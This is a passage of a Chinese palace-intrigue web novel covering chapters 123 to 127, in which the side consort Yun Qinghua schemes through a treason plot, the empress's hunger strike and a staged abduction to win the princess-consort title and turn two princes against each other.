若是换作赵婉宁,她恐怕只会安静得跟鹌鹑一样,龟缩在一旁,亦或是跟睿王做无用的口舌争辩。 “夫君。”云清婳眼前一亮。 裴墨染大步走来,他握住云清婳的手,“吓到了吗?” “我不怕。”她摇摇头。 睿王莫名觉得刺眼,快步走了。 侍从翻找了书房,甚至连木质地板都撬开了,可是一无所获。 许多皇子也跟来了,他们大多是看热闹的。 “搜查好了吗?皇弟?”裴墨染一脸讥诮,悠悠地问。 睿王的嘴角勾起,“皇兄,还没搜查完,别高兴得太早啊。” 紧接着,睿王又带领侍从去了长信殿。 不一会儿,一个侍从从书箱中抱出了一个花纹繁复的机密盒。 机密盒上自带金木水火土五行锁,类似于五行五列的魔方,拨动木块各自归位,才能解开锁。 “殿下,找到了!”侍从眼中闪烁着阴鸷暗算的光。 裴墨染的剑眉蹙起。 其他皇子挑眉,“四皇兄的机密盒好精密啊,就算是本王一时半会儿也解不开。” “这么宝贝,里面究竟装有什么机密?” “四皇兄一个武将,心思如此细腻,真令人捉摸不透。” 睿王操着玩笑的口吻,“啧,四皇兄心里到底埋藏着什么秘密?云侧妃可知道?” 云清婳抬起眼皮,淡淡地瞥了他一眼,不语。 “不是抓刺客吗?五弟有必要窥探本王的私事?有这些功夫,还是回府多喝补药,好好养身子吧。”裴墨染拍拍他的肩膀讽刺。 扑哧—— 许多皇子想起了睿王昨晚中了马上风,笑喷了。 睿王的脖颈涨得通红,“裴墨染!本王奉命捉拿刺客,现在发现你可能与刺客有染,以皇命命令你开锁,你敢违抗皇命吗?” 裴墨染睨他,“若是皇上让本王开锁,本王必会开锁,至于你?呵。” 他的倨傲、不屑,完全凌驾于睿王之上。 睿王在他面前,像是矮了一头。 “大胆!”睿王被驳了脸面,羞愤得歇斯底里,“裴墨染,你莫不是心虚了?你倘若今日不开锁,本王就只好回宫告御状!” 裴墨染云淡风轻的睨他,表情有点嫌弃跟不耐。 他的淡定,衬托得睿王更像疯子。 云清婳在心中暗想,果然,冷暴力会把人逼疯。 就算是睿王也不例外。 几个年纪小的皇子都示意云清婳出来打圆场。 “睿王殿下,一案一令,搜家是搜家的手谕,开锁是开锁的手谕。您倘若好好跟王爷说,王爷念着手足之情,或许会开锁。王爷毕竟是您的兄长,您这样着急,王爷断不会开锁的。”云清婳慢条斯理,给人一种娇弱的感觉。 睿王快要气炸了。 明明是裴墨染挑衅讽刺在先,现在反倒成了他的错了? 其他皇子也觉得云清婳说得没错,他们看热闹不嫌事大。 “五皇兄,你急什么?” “你好好跟四皇兄说啊。” 睿王气得快要吐血,他憋屈道:“四皇兄,快将机密盒打开吧!算本王求你。” “怎么?刺客躲进机密盒里了?”裴墨染好整以暇地反问。 众人再次扑哧笑出声。 就在睿王又要发怒时,裴墨染道:“倘若里面没有你想要的东西,你该如何?” “你想如何?”睿王的眼神阴恻恻的。 裴墨染道:“你练兵的校场分本王一半。” 睿王觉得可笑,他势在必得的颔首。“好!” 裴墨染三下五去二,解开了五行锁。 啪—— 机密盒开了。 其他皇子好奇的纷纷凑上前看。 只见盒中躺着几本兵书。 睿王的眼角抽了抽,“不!不可能!” 他将机密盒翻来覆去地摇了摇,似乎希望能掉出来什么物什。 “皇弟在找什么?莫非你心中早就有了答案?”裴墨染讥诮地问。 “你……”睿王咬牙切齿。 “收队!” 睿王带着人不甘的走了。 其他皇子皆看出了端倪,看来睿王的计谋没成。 众人离开后,裴墨染从暗格里取出一个一模一样的机密盒。 他将机密盒打开,里面猝然出现了一沓通敌叛国的瓦剌书信。 “有内鬼!”裴墨染眯着眼,怒从心头起,他将书信点燃,燃烧成灰烬才吐出一口浊气。 差一点,他就万劫不复了。 幸亏贴身太监接到他的指令后,立即偷梁换柱,将真正的机密盒藏起来。 “把所有人叫去花厅。”他黑着脸,冷声命令。 贴身太监犯怵,“是。” …… 众人都聚集在花厅。 所有人都不知道发生了什么。 云清婳目睹了方才的一切,却隐隐有了猜测。 裴墨染坐在上首,身侧放着机密盒。 他的面上仿佛覆盖了一层寒霜,声音低沉道:“半个月内,何人接近过长信殿?” 不少妾室吓得脸都绿了。 为了争宠,她们都送过参汤、荷包之类的。 “王爷莫不是丢了什么东西?”崔夫人将猜测说了出来。 裴墨染不置可否。 崔夫人幸灾乐祸地瞟了眼云清婳,“前几日,云侧妃被召幸过,听说睡到了日晒三竿才醒。” “是啊,妾身都不曾被允许进过寝殿。” “妾身也是。” “只有云侧妃进过长信殿,妾身冤枉啊。” 为了摆脱嫌疑,众人都把祸端往云清婳身上甩。 云清婳凝眉,她双眼通红,看上去很是委屈。 “本王的机密盒中有重要物件遗失,府里进了内鬼,倘若让本王发现是何人做的,定不轻饶。”他观察着众人的表情,威胁道。 崔夫人根本掩饰不住嘴边的笑,“云侧妃聪慧,素有才女之称,机密盒全府上下恐怕也只有她能打开了。不如让云侧妃试试?” 第123章 皇后绝食,饿死算了 裴墨染自然是相信云清婳的,他怒斥:“住口!” “我的确打得开,可没经过夫君允许,我断不会碰机密盒。”云清婳道。 “你果然承认了!东西已经丢了,你想怎么说都行。”崔夫人讽刺。 其他妾室都用怀疑地看着云清婳。 裴墨染瞪了崔氏一眼,他吩咐贴身太监严查。 他起身,牵着云清婳的手,“崔氏愚昧,别往心里去。” “嗯。”云清婳颔首。 云清婳猜测,机密盒中不是少了什么,而是多了什么。 但裴墨染不对她说实话,就说明他对她仍旧有所保留。 她派手下故意抛了几个证据出来。 贴身太监很快就把嫌疑锁定在春苗身上。 “王爷,奴才问了值守长信殿的侍从,春苗前些日子总在长信殿转悠。她跟长信殿的侍从是同乡,听说二人关系甚好。”贴身太监回来禀报。 裴墨染的眸色一黯,电光火石之间,他什么都明白了。 他的心口像是被一口瘀血堵住。 知晓如何打开机密盒的,还有一人,那便是赵婉宁! 这个女人总是能一次又一次让他失望! 他怀疑了府邸许多人,唯独没有怀疑赵婉宁,可真相就是这么让人失望。 裴墨染一字一顿,“来人,崔氏屡次攀咬云侧妃,将她发配到庄子上,静思己过!” 崔氏瞪圆了眼睛,她哭喊道:“不要啊,不要啊,王爷,妾身怀过您的孩子啊,您看在孩子的面上饶了妾身这一次吧……” 上首的男人,毫无波澜。 若不是看在未出世的孩子的面上,崔氏早就被送进庄子里了。 云清婳完全了解裴墨染的心态,正是有赵婉宁的对比,所以他愈发想对她好。 …… 裴墨染亲自严刑拷打了春苗,春苗扛不住酷刑,很快就交代了她被睿王的人收买。 而赵婉宁稍加点拨,便教会了她如何打开机密盒。 除了愤怒,裴墨染心中更多的却是不甘。 他就不值得被用真心对待吗? 为何过去从没有一个人毫无保留,全心全意爱他? 他憎恨自己的愚蠢,憎恨他教会了赵婉宁开锁! 裴墨染狠狠掐了下眉心,像是下定决心,一字一顿:“割了赵婉宁的舌头。” 赵婉宁知道了他太多秘密,她不能再泄密了。 贴身太监恍惚了下,没想到王爷突然狠心,他拱手:“是!” 裴墨染心中坚定了立云清婳为正妃的念头。 蛮蛮绝不会糊涂至此! 更不会拿他的前程博弈。 …… 玄音阁。 云清婳正拨弄着算盘,计算府中的开销。 飞霜拨弄着灯芯,让烛光更亮,“方才废院的动静好大,听说赵婉宁的舌头被割了。” “呵。”云清婳眼底跳动着兴奋的光点,“赵婉宁已经把裴墨染对她的最后一丝情意耗尽,如今她的生死就在我的一念之间,接下来该轮到裴云澈了!” 飞霜挠挠后脑勺,“可咱们如何才能报复裴云澈呢?” “自然是手足相残啊!”她手下灵巧地拨弄算盘,就像操控着每个人的命运。 飞霜福福身,“奴婢就提前恭喜主子谋得王妃之位了。” 云清婳但笑不语。 皇后作起妖来,恐怕裴墨染招架不住啊。 忽地,门外传来脚步声。 门被推开,裴墨染浑身湿漉漉的,锦袍上沾了不少雨水。 他径自朝云清婳走来,将她紧紧抱紧怀里,“蛮蛮!” “夫君!”云清婳从袖中拿出帕子,给他擦脸,“为何不打伞?浑身都湿了。” “蛮蛮,你不会背叛本王对吗?”他的唇落在她的耳边。 云清婳猜测他是被赵婉宁伤到了,所以没有安全感,跑到她面前求安慰来了。 “为何问这个?”她答非所问。 裴墨染有些着急,他的语气严厉起来,“回答本王!” 她吓得身子一颤,“我自然不会背叛夫君。” 他的吻细细密密地落下,他在榻上不断地讨好云清婳。 云清婳不由得在心中想,裴墨染越发会伺候人了。 …… 不出所料,没几日,皇后重病的消息就传来了。 裴墨染带着云清婳去探望。 榻上,皇后的脸色蜡黄、双颊凹陷,整个人无精打采。 “母后究竟是怎么了?”裴墨染看向白嬷嬷。 白嬷嬷长叹了一声,“皇后娘娘因为肃王的姻缘,夜不能寐,茶饭不思啊。” 裴墨染看向榻上枯槁的人,心疼的蹙眉,“可让太医来看了?” “这是心病,太医看了也没用。”白嬷嬷看着云清婳欲言又止。 云清婳不由得在心中冷笑。 皇后果然开始作妖了。 为了逼裴墨染就范,不惜以绝食相逼。 她赌的不过是裴墨染的孝心。 “母后,吃一些吧。”裴墨染端着白粥,舀起一勺,放在皇后的唇边。 皇后侧过脸去,“你姻缘不正,本宫如何吃得下饭?” 他蹙眉,“母后……” “你长大了,你有自己的主意,本宫不能左右你。可做母亲的,却忍不住为孩儿操心啊。”皇后说着,眼泪如雨一般落下。 裴墨染心中酸涩,他何尝看不出皇后在以退为进,用孝心逼迫他? 可他实在做不到无动于衷。 他用帕子给皇后拭泪,“母后,本王可以娶表妹,可立蛮蛮为正妃的奏折已经呈给父皇了。” “咳咳咳……”皇后的表情有些诧异,眸中蕴着薄薄的怒,“你果然有自己的主意了,已经不需要母后了,你走吧。” “母后……” 皇后哽咽道:“墨染,当初本宫让你娶清婳,你也是万般不情愿,可现在不是好好的?灵音乖顺灵动,又是你的表妹,正妃之位怎就坐不得?” 裴墨染叹了口气,“儿臣的婚事,怎配让您劳心伤神?母后,吃些吧。” “肃王妃之位一日定不下来,本宫便一日没有胃口。”皇后气若游丝地说着,却如同警告。 言下之意便是,裴墨染一日不答应迎娶苏灵音为正妃,她就多绝食一日。 云清婳眼中的温度渐渐褪去。 皇后真是一点脸皮都不要了。 为了让苏灵音当上肃王妃,居然这般逼迫裴墨染。 第124章 男人的嘴,骗人的鬼 离开翊坤宫后,裴墨染一直心不在焉,淡然的脸庞下满是悲戚。 云清婳看得出,尽管裴墨染屡次被皇后伤害。 但他心底是渴望母爱的,他恨皇后的虚情假意,埋怨皇后的偏心,但同时又忍不住爱她、心疼她。 “夫君,怎么办?”云清婳闷声问,表情有些愧疚。 裴墨染紧紧握住她的手,“本王答应你立你为正妃,就不会食言。” 她抱着他的腰,“夫君,我想成为您的妻子,想与您生生世世在一起。就算死后,墓碑上也能光明正大地刻上是您的妻子。” “傻,说这么不吉利的话。”他心疼地揉了揉她的脑袋。 忽地,身后传来急促的脚步声。 几个太监跟宫女急匆匆跑来。 “不好了,不好了!肃王,皇后晕倒了。” “皇后已经绝食三日了,恐怕真的撑不下去了。” 裴墨染眼中一片焦急,他跑了几步,才回头看向云清婳,“蛮蛮,你先回府,本王晚些回来。” 不等她反应,他便快步朝着翊坤宫跑去。 云清婳的眉眼上像是凝结了冰霜。 皇后发力了。 这场博弈,她暂时输了。 云清婳一转身便看到了清瘦颀长的身影。 裴云澈不知从何处走出来,挡在她的面前。 “蛮蛮。”他的声音沙哑,眼下泛着淡淡的青黑,整个人看上去无比憔悴。 几日不见,他看起来更清瘦了。 “……” 云清婳的眼睛红了一圈,她装作没看见,与他擦肩而过。 忽地,她的腕上一紧。 裴云澈抓住她的手,将她拽去了假山后。 “你别冷着本王,别故意跟裴墨染亲近!你知道本王看到你们亲昵,心有多疼吗?”裴云澈的双眼润泽,斯文的面孔被撕裂,表情有些狰狞。 云清婳的眼泪掉了出来,“贤王殿下,我们已经断了,日后别私下见面了。” 他气得水红色的唇瓣都在颤抖,指节修长的手捧着她的脸,不由分说将她压在假山上强吻。 肺部的空气仿佛都要被挤出来。 裴云澈向来端方克制,儒雅温柔,这次的吻却蛮横莽撞得很。 一股酒气被渡进口中,让她难受得几欲作呕。 啪—— 云清婳抬手,狠狠甩了他一巴掌,“您干什么?” “本王认输!蛮蛮,你赢了!”裴云澈有些癫狂,他的眼中既含有对情人的痴迷,又有几分不甘、怨怼。 他从袖中掏出冰种紫珊瑚手串,强迫性地套在她的腕上,“本王把珠子都捡起来串好了,我们没有断,我们好好的。” “你要是还生气,你就打本王!蛮蛮,你别气本王了,算本王求你。”他一反常态,浑身透着颓丧。 或许是因为克制太久,以至于裴云澈就连发泄都不得其法。 这些日子,他尝试着找其他女人排遣、喝酒、赌钱…… 他想忘了云清婳,只是一个女人而已,断了就断了。 可是他做不到,他的脑海里全都是蛮蛮! 他不甘心! 不甘心将蛮蛮拱手让给裴墨染! “打您,我的手也会疼。爱也是相互的,我盼着您好,但您不盼着我好,您让我如何爱您?”云清婳推开他,作势要走。 裴云澈的眼里布满了红血丝,他抓住她的胳膊,弯下腰,“本王错了,你想做肃王妃便做,苏灵音不会挡你的路。” 云清婳心中冷嘁,早这样不就好了? 她的黛眉蹙起,“说这些又有什么用?皇后娘娘岂会如我所愿?” “本王会劝母后。”裴云澈生怕她不理他,甘心为她臣服。 云清婳闻言,准备给他些奖励,她扭转过身,伸出手捧着他的脸。 她的手指细细地描摹他的眉眼、鼻梁、唇瓣。 “殿下,瘦了。”她的语气很是心疼。 裴云澈像条小狗,用脸蹭了蹭她柔软的手心,无比享受她的爱抚,“蛮蛮与我情断,我夜不能寐,寝食难安。” 他终于放下了架子,也开始以我自称。 云清婳很是欣慰。 她抱着他,“裴郎心痛,蛮蛮亦心痛。” 裴云澈快要枯萎的心脏,登时有力地跳动起来。 裴郎二字,撩拨了他的心! “蛮蛮,都是我自私。可你与裴墨染朝夕相处,我实在怕你会日久生情。”裴云澈亲吻她的发顶。 她摇摇头,“我一直记得我们的孩子被裴墨染、赵婉宁害死,裴郎会忘记这份仇恨吗?” “不会。”裴云澈的眼底滚动着恨意。 “我亦不会。” …… 裴墨染在宫中侍疾了三日,皆未回府。 玄音阁中,云清婳悠闲的与魏娴围炉煮茶,吃着茶点。 “值得吗?皇后居然为了苏灵音,不惜用自己的命要挟王爷。”魏娴摇摇头。 云清婳剥着橘子,“皇后不仅是为了苏灵音,更是为了自己。一旦这一次裴墨染忤逆成功,日后便会有百次、千次的忤逆!皇后绝不允许开这条口子。” 魏娴掐着手指头,“皇后都快六日不进食了,恐怕撑不了多久了,王爷应该心软了。” “嗯。”这完全在云清婳的意料之中。 她甚至还有点意外,裴墨染居然为了她,跟皇后对抗了六天。 皇后若是有了三长两短,此事传出去,不仅会影响裴墨染的名声,更会影响他在皇上心中的形象。 此题无解,除非裴墨染爱她爱到不在乎一切。 飞霜鼓鼓嘴,不满道:“可是王爷答应主子了,奏折也递交上去了,这怎能反悔?” 云清婳跟魏娴相视一笑,眼中含有几分逗弄之意。 “飞霜,你没听说过一句话吗?”魏娴笑问。 “什么话?”飞霜歪着脑袋不解。 云清婳道:“男人的嘴,骗人的鬼!” “裴墨染爱我又如何?在他心里,我远远没有皇位重要,一旦涉及皇位,他便会让我退让。” 魏娴慢条斯理地说:“皇后绝食的事,一定已经闹到了皇上面前,王爷不可能忤逆皇上。” “那主子该怎么办?”飞霜又急又气。 王爷这个死渣男! 皇后这个老妖婆! 正说着,门外骤然安静下来。 裴墨染踏入门中,他的脸色泛着淡淡的青黑,形神疲惫。 第125章 夫君疼我,我不能怪您 “参见王爷。”魏娴福福身。 他摆摆手,手里还捏着奏折。 众人退下后,他眼神复杂,面色愧疚地望着云清婳,久久没有上前。 他似乎在酝酿着如何开口。 “夫君,皇后娘娘怎么样了?”云清婳小跑上前,抱住他的腰,“我好想您。” 她抬起脸,一双杏眼灿若星子,满含爱意地看他。 裴墨染的喉间像是堵了一团棉花,要说出口的话,却不知如何发音。 他食言了。 他又要让蛮蛮失望了。 “蛮蛮。”他声音低沉。 “嗯?”她笑望着他。 裴墨染看着她的笑容,心中的愧疚更甚,“我……” “皇后绝食六日了,真的熬不住了。” “我答应她了。” 他举起了奏折。 这是方才向皇上要回来的。 云清婳浑身一僵,表情凝固住,过了好一会儿才反应过来,眼泪迅速在眼眶聚集,啪嗒掉了出来。 她睁圆了眼,难以置信地看着面前的男人,“什么意思?您……您要娶苏姑娘为正妃了?” 他红着眼,“蛮蛮,此事已经闹到了父皇面前,本王真的没办法了。” “我不能做您的妻子了,对吗?”她的眼泪流个不停。 “蛮蛮,本王……” 裴墨染眼前一黑,身子朝着她重重栽下。 云清婳险些被他砸倒,她慌忙扶着他,“夫君!” 贴身太监将裴墨染扶到了床榻上,他心疼地解释:“云侧妃,王爷为了尽孝心,也陪着皇后绝食了三日。王爷为了您,真的尽力了。” 她哭得一抽一抽的,端着粥碗,往裴墨染的嘴里喂了点米粥。 贴身太监的心里也不是滋味。 这对苦命的鸳鸯哦。 …… 不知过了多久,裴墨染堪堪转醒。 他一睁眼,想看到云清婳,可身边却没有一个人。 屏风后,倒映出云清婳主仆的虚影。 云清婳坐在茶桌前,背脊挺得笔直。 “主子,您别这样啊,您哪怕哭一哭也好啊。”飞霜轻拍着她的背脊。 云清婳摇摇头,她好像心如死灰,“有什么好哭的?王爷都这么苦了,我哭除了让他心烦,还能带来什么?” “只差一点,就差一点主子就能成为肃王妃了。这是您的愿望啊!”飞霜气不过,她抽抽噎噎地哭了。 云清婳不动声色地用帕子揩去眼泪,“王爷就像是跪着喂我喝下鸩酒,他都跪下了,我哪能拒绝呢?所有人都能怨他,我却不能。” 裴墨染蹙眉。 他不喜欢蛮蛮的比喻。 “京中有哪个王妃能做到跟您一般?您怎就不能当肃王妃?凭什么啊?”她气得狠狠跺脚。 云清婳斥道:“住口!此事别再提了,再提只会让王爷厌烦我,觉得我爱慕虚荣,贪图权势。这辈子就这样了,我跟他没有夫妻缘分。” 最后半句话,好似往裴墨染的心里捅了一刀。 他们二人怎会没有夫妻缘分?! 一股药香袭来,婢女将刚熬好的补药端来。 云清婳端着药碗,绕过屏风,在榻边坐下。 裴墨染没有装睡,只是深深看着她红肿的双眼,“蛮蛮,我真的尽力,我……” “夫君别说了,喝药吧。”云清婳舀了勺药,吹了吹送到他嘴边。 他只能听话地喝药,心中却像被放在药罐子里熬煮,酸涩苦闷,无比煎熬。 以往,蛮蛮都甘愿为了他忍耐退让,主动放弃许多东西。 可这一次不一样,他感受得到。 “蛮蛮,我心里有你,可是母后绝食快六日了,父皇已经知道了,我不能忤逆父皇。”他一股脑说了出来。 云清婳在心里翻白眼。 怎么不能忤逆皇上? 无非是你不敢! 装什么无可奈何? “夫君,此事我们都忘了吧,不要再提了。”她将空了的药碗放到榻边的小几上,挤出僵硬的笑。 裴墨染想要握住她的手,可她不动声色将手抽开。 “蛮蛮,你怪我?” “夫君疼我,您为了我,绝食了三日,我不能怪您。”她说着,眼泪坠了下来。 “……” 道理他们都懂,可心里怎会不怨呢? 二人对望,相顾无言,一时之间竟不知道还能再说什么。 云清婳出了寝殿,将门阖上。 这是她给狗男人的最后一次机会,他若有心,就会想办法让她当正妃。 否则,她就要闹了! 飞霜坐在围栏上剥橘子吃,“主子,倘若王爷不扶正您,咱们就只能认栽吗?” “放心吧,我有后手,倘若裴墨染委屈我,就别怪我折磨他。”她可有的是招数,跟这个缺爱的狗男人玩。 缺爱的人最怕什么? 无非是得到的爱,从手中溜走! …… 下午,几个妾室就听到了苏灵音即将嫁进肃王府成为王妃的消息。 几人凑在一起嘲讽,“呵呵……我还以为王爷当真对云侧妃动心了,没成想都是逢场作戏。” “想想也知道,王爷从小便进了军营,性情豪放,怎会喜欢死板文静的第一贵女?” “王爷若真有心立云清婳为妃,废掉赵婉宁当日便立了,怎会等这么久?” 这些话,皆被去找府医拿药的云清婳、贴身太监听到。 贴身太监僵硬地笑了笑:“云侧妃莫听她们胡言,王爷心里也苦啊。” “我知道。”她的面容呈现出淡淡的忧郁。 到了玄音阁,贴身太监将这些话悄悄学给裴墨染听。 裴墨染当即将那几个妾室掌嘴。 夜里,二人相拥在榻上。 “蛮蛮,我心中有你,恨不得将世上最好的东西都捧在你面前。”裴墨染吻着她的额。 “夫君,您抱抱我,我好怕。”她的眼泪在眼眶打转。 他双臂收力,将她圈在怀里,“怕什么?” “怕飘零无依,无人疼惜。”她将脸埋进他的胸口。 果然,蛮蛮又不信他了。 裴墨染的心中空空的,虽然他们紧紧相拥,可有什么东西似乎在流逝变幻。 “过几日,我陪你去郊野放纸鸢,嗯?”他哄道。 她并没有臆想中的欢喜,只是颔首,“好。” 云清婳的眼底闪出精光。 看来狗男人就是犯贱! 非要经历一番痛彻心扉,才能乖乖听话。 …… 苏家与肃王府的婚事如火如荼地准备着。 肃王府备了一百台聘礼,风风光光地送去了苏家。 一时之间,全京未出阁的女子都艳羡苏家嫡女风光无限,深得肃王重视。 喧闹的街市上,一对男女十指紧扣,悠悠地漫步。 男人身着素面湖蓝锦绣衣袍,气宇轩昂,宽肩窄腰,气质贵不可言。 女人梳着堕马髻,发上戴着一个白岫玉梳篦,她身着浅紫色撒花裙裾,身形曼妙纤细,身段婀娜,举手投足尽显尊贵。 第126章 你逛教坊司了? “蛮蛮,吃不吃米糕?”裴墨染弯下腰问。 云清婳的脸上没有表情,淡淡地颔首,“嗯。” 自从答应迎娶苏灵音为正妃,蛮蛮便兴致缺缺,做什么事都提不起精神。 裴墨染知道她心里委屈,想要埋怨他,但又不敢说出来。 “你等等我。”他立即排队去买。 肃王府送聘礼的队伍,正浩浩汤汤地从苏将军府离开。 买米糕的百姓随口谈论起来,“肃王迎娶苏家嫡女,排场真大啊。听说为了彰显对苏家的重视,要三求三聘,这只是第一波。” “当年迎娶云家嫡女时,都没这么大的阵仗。” 卖米糕的妇人惋惜道:“京城第一贵女真是可怜,我还以为她苦尽甘来,终于能被扶正,结果还是做妾。” “谁让肃王不喜欢呢?男人不喜欢,别说第一贵女,就算是神女、仙女也没用!” 周围的百姓都嗤嗤地笑了。 裴墨染的拳头攥得咔咔作响,他恨不得将摊子掀了。 他的脸色发绿,仓惶回头。 云清婳乖巧地站在原地,仿佛置若罔闻,只是恬静的望着他。 裴墨染买来米糕,匆匆搂着云清婳离开,“蛮蛮,别听他们胡说,我怎会不喜欢你?” “嗯。”云清婳颔首。 裴墨染的心脏抽疼,他倒是希望蛮蛮撒泼、跟他大闹一场。 这样也比憋在心里好。 可蛮蛮就算是闹了,又能怎么样? 他并不能给她想要的。 云清婳想笑。 她都委屈成这样了,裴墨染居然都不想为她争取一下王妃之位? 他是真的觉得她软弱好欺,永远离不开他了是吗? 那就别怪她了。 二人不知不觉快走到街尾,裴墨染扭转她的身子,“下面的铺子,没什么好逛的,回去吧。” 云清婳咬着甜腻的米糕,疑惑道:“为什么?” “没什么,咱们不是还要去郊外放纸鸢吗?别耽搁了。”他转移话头。 她怀疑地蹙起黛眉,她看向后面跟着的贴身太监,“街尾的铺子是什么啊?” 贴身太监愣了片刻,有些不好意思道:“街尾没什么铺子,倒是有教坊司。” 裴墨染莫名心虚,他狠狠瞪了贴身太监一眼。 这个蠢货! 怎么什么都说!? 他的步伐下意识加快。 云清婳小跑着追上他,在他背后狠狠一推,“不要脸!” 他猝不及防,腰砰的一声撞上了摊子,他吃痛的揉揉后腰,“我又没进去过!” “你没进去过,你怎么知道那里是教坊司?”她的双眸瞪得浑圆,逼视着他。 裴墨染急得不行,他何时受过这样的冤屈? 他双目赤诚,一字一顿:“我只是路过!” “你路过那里作甚?府衙、北镇抚司可不在这条路上。”她冷着脸觑他。 他急得满头大汗。 真是跳进黄河都洗不清了。 他絮絮不止地自证清白:“两个月前,我查案的时候路过罢了!我又不是好色之徒,怎会如此淫乱?” “我向来有洁癖,那处实在太脏,我也怕染病!蛮蛮,你不信我?” “你真生气了?” “……”云清婳不理他,看到街头的马车径自上去了。 贴身太监偷笑。 还是第一次见王爷吃瘪。 “你还有脸笑?”裴墨染气急败坏地踹了他一脚。 贴身太监捂着屁股呻吟。 一路上,裴墨染都在解释。 可云清婳捂着耳朵不理他。 这把他气得胃疼。 他最受不得冤枉,捉住她的双手,无耻地说:“我若是去了教坊司,晚上哪有精力伺候你?你把我当犁地的牛了?精力无限?” “你想想,我哪一次不是折腾你到子时?我倘若真去了,还能有这体力?” 说着,裴墨染的脸上还露出几分骄傲。 云清婳的小脸绯红,“不许说了!不要脸!” “你信我了?”他面不红心不跳的问。 她羞赧的推开他,“您说话真糙!煤灰渣子、兵痞子!” 裴墨染瞧她娇娇气气的模样,心里痒痒的。 曾经边地也有官家小姐这么骂过他们,当时他很是恼火,觉得他这辈子都不会喜欢这些矫揉造作的娇小姐。 可现在他打脸了,他就是喜欢蛮蛮这样娇气的大小姐。 …… 平坦茵绿的草地上。 云清婳跟飞霜在溪边放着纸鸢。 裴墨染抱臂倚在树干上,静静地看着主仆二人。 他有种岁月静好之感。 往后余生,只要蛮蛮陪伴在他的身侧就好。 “云侧妃今日倒是比平日放松了些。”贴身太监看出王爷的心疼,安慰道。 裴墨染微不可闻地叹了一声,“是本王对不住她。” “云侧妃贤惠温良,会放下的。”贴身太监道。 裴墨染闻言,心中的愧疚减轻了一分。 他也问过诸葛先生,诸葛先生也说他做得没错。 男儿志在四方,他不能为了蛮蛮,断送前程。 将来,他会补偿蛮蛮的。 “夫君,我渴了。”她的脸蛋红扑扑的,远远地冲他吩咐。 “你都使唤起我了?”裴墨染笑着去马车上倒茶。 他才进入马车车厢,外面就传来狂乱的马蹄声,以及惊呼。 “啊……主子被山匪掳走了!”飞霜尖叫。 贴身太监也惊叫,“王爷,不好了不好了!” 裴墨染丢下水杯,他一出车厢便看见云清婳被一伙山匪掳走到马上。 他一剑将马车上栓马的挽具劈开,翻身上马,朝他们追了去。 狂乱的马蹄掀起了阵阵黄沙。 云清婳被横放在马背上,肚子被顶着,马儿疾驰,路途颠簸,把她颠得想吐。 “呕……段南天!你就不能让我换个姿势吗?”她的五脏六腑都好像拧在一起,刚吃进肚子里的米糕都快呕出来。 “云姑娘,不这样掳走你,不像啊。”段南天表示无奈。 段南天带领手下朝着南边狂奔,溪水旁修葺了一个竹亭,这是云清婳约见裴云澈的地方。 “啊……救命啊……”云清婳大叫。 竹亭下,裴云澈远远就看见了云清婳。 他立即派侍卫来营救。 这个路段真有山匪。 山匪看见段南天一伙人以为是自己人,连忙下山来支援。 裴墨染带领手下与山匪厮杀起来,裴云澈的侍卫与其配合。 现在的场面无比诡异,云清婳被段南天一伙人形成一个包围圈保护着。 裴墨染、裴云澈却在厮杀。 段南天一伙人并不恋战,等到真正的山匪被虐杀殆尽,他们便策马逃跑。 “算你们狠!这个小娘子还给你们!”段南天将云清婳推下了马。 “啊……”云清婳惊呼。 她在心里暗骂了段南天一百遍,差点脸着地。 她摔在地上打了几个滚,脑袋故意撞击树干。 “蛮蛮……”裴墨染双目赤红的朝她奔来,一剑刺穿段南天的肩膀。 “呃……”段南天的臂膀顿时鲜血淋漓, 他忍痛跟裴墨染厮杀起来。 “蛮蛮!”裴云澈红着眼冲进人群。 他不会武功,方才一直躲在暗处。 “蛮蛮,蛮蛮!你醒醒啊!”裴云澈蹲下,抱着“昏迷”的云清婳,眼眸中氤氲出水汽。 “蛮蛮,你别吓我!你别吓我!” 段南天把云清婳交代的事都做完了,不再恋战,果断策马逃跑。 裴墨染看见裴云澈抱着云清婳,眸色一黯,他鬓角的青筋暴起,跳下马后,也朝云清婳跑来,“蛮蛮!” “唔……”云清婳缓缓睁开眼,映入眼帘的便是裴云澈风光霁月,斯文儒雅的面孔。 他双眼噙着水光,瞳孔中只倒映着她的脸。 “殿下,是您救了我吗?”她伸出手,抚着脑袋,“我的脑袋好疼……” 第127章 蛮蛮失忆,虐狗男人 裴云澈的双臂都在颤抖,他喜极而泣,但还不等旁人捕捉到眼角的晶莹,他便将泪收了回去。 “一定是因为方才你的脑袋撞到树干了。”他用温热的掌心,轻轻为她揉着额头上的红肿。 云清婳羞赧地避开了他的触碰,“多谢殿下的好意,可是男女授受不亲。” 裴云澈一怔,他困惑地收回了手。 “殿下,我为何在这里?您能否送我回相府?”她颤颤巍巍地起身。 裴云澈扶着她,担心地问:“蛮蛮,你当真想不起来了?方才你被山匪掳走了。” “啊?”她的小嘴微张,眼中尽是惶恐。 “多谢殿下营救。”她恭敬的福身。 裴云澈霎时便明白了。 看样子,蛮蛮失忆了! 裴墨染上前,故意站在二人中间,将他们分开,“皇兄,还请你自重!” 他转过身,担心地上下打量云清婳,柔声问:“蛮蛮,受伤没有?疼不疼?嗯?” 他伸出手,想要牵云清婳的手。 可云清婳如同见了洪水猛兽,连连后退,声音激动:“别碰我!” 裴墨染一愣,他看到手上未干的血渍,霎时像是想明白什么。 他扯出抹笑,“好好好,我知道了,真是娇气!” 他从袖中拿出帕子,将手上的血仔仔细细擦干净。 “走吧。”他朝云清婳走去,二话不说就要牵她的手。 “登徒子!你想做什么?”云清婳急忙躲到裴云澈身后,攥着他的袖口。 她的双眼泛红,怯弱得像一只小白兔,“殿下,救救我……” 裴墨染的心咯噔一响,他的剑眉紧锁,俊逸的面孔霎时变得凶悍暴戾,“蛮蛮!你在做什么?” “住口!谁允许你唤我小名?我乃云家嫡女,我爹是当朝丞相,你一个登徒子,休得放肆!”云清婳面容一凛,轻声呵斥。 明明声音细得跟奶猫似的,可偏生有一种不容侵犯的高贵疏离感。 裴墨染心里有些受伤,他也反应过来了,“你……不记得我了?” “我平生最厌恶手染鲜血之人!我们根本不曾相识,我怎会记得你?”云清婳的小脸透着鄙夷。 裴墨染的心像是被生生撕开。 裴云澈嗤嗤地笑了,他柔声说:“蛮蛮,这是肃王。” “肃王?”云清婳嘟着嘴,小脸霎时变得懊恼、委屈,“见过肃王,方才多有冒犯。可就算您是王爷,也不能碰姑娘家的手啊。” “……”裴墨染深深的凝着她,心坠到了谷底,浑身的血液好似都凉了。 